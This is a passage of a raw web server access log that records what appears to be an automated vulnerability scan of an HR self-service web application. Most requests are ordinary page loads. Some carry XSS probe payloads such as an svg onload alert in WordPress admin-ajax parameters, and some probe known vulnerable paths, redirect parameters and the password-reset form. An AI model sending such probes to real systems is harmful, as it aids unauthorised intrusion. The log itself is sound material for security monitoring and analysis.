/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1" 404 250 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/admin-ajax.php?action=techno_get_products&page=%3Csvg%20onload=alert(8)%3E HTTP/1.1" 404 221 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/admin-ajax.php?action=techno_get_products&page=%3Csvg%20onload=alert(8)%3E HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /secure/QueryComponent!Default.jspa HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /secure/QueryComponent!Default.jspa HTTP/1.1" 404 232 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /test760c2ba4-cacd-4081-91e1-900d04dcbef7.php HTTP/1.1" 404 242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /test760c2ba4-cacd-4081-91e1-900d04dcbef7.php HTTP/1.1" 404 242 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=%3Csvg%20onload=alert(11)%3E HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=%3Csvg%20onload=alert(11)%3E HTTP/1.1" 404 221 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "POST /index.php/myAccount/update HTTP/1.1" 404 224 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "POST /index.php/myAccount/update HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:04 +0800] "POST /index.php/myAccount/update HTTP/1.1" 404 224 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:04 +0800] "POST /index.php/myAccount/update HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:04 +0800] "POST /index.php/myAccount/update HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:04 +0800] "POST /index.php/myAccount/update HTTP/1.1" 404 224 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:04 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:04 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 100.64.0.1 - - [05/Dec/2025:21:50:04 +0800] "GET /uploads/users/ HTTP/1.1" 404 212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:04 +0800] "GET /uploads/users/ HTTP/1.1" 404 212 100.64.0.1 - - [05/Dec/2025:21:50:06 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:06 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:09 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:09 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:12 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:12 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:16 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:16 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:19 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:19 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:22 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:22 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=HCL4ppsc4nbuggyRandomValue&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=HCL4ppsc4nbuggyRandomValue&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/redirect.php?scriptname=HCL4ppsc4nbuggyRandomValue&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/redirect.php?scriptname=HCL4ppsc4nbuggyRandomValue&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=HCL4ppsc4nbuggyRandomValue&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/img/nonexistingurl.swf HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/img/nonexistingurl.swf HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "POST /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "POST /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?langcode=ZHS&companyno=3913&user_name=&email=test%40altoromutual.com&ok=%E9%87%8D%E7%BD%AE%E5%AF%86%E7%A0%81 HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:23 +0800] "GET /ehr/ess/lostpassword.php?langcode=ZHS&companyno=3913&user_name=&email=test%40altoromutual.com&ok=%E9%87%8D%E7%BD%AE%E5%AF%86%E7%A0%81 HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?langcode=ZHS&companyno=3913&user_name=&email=test%40altoromutual.com&ok=%E9%87%8D%E7%BD%AE%E5%AF%86%E7%A0%81" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - 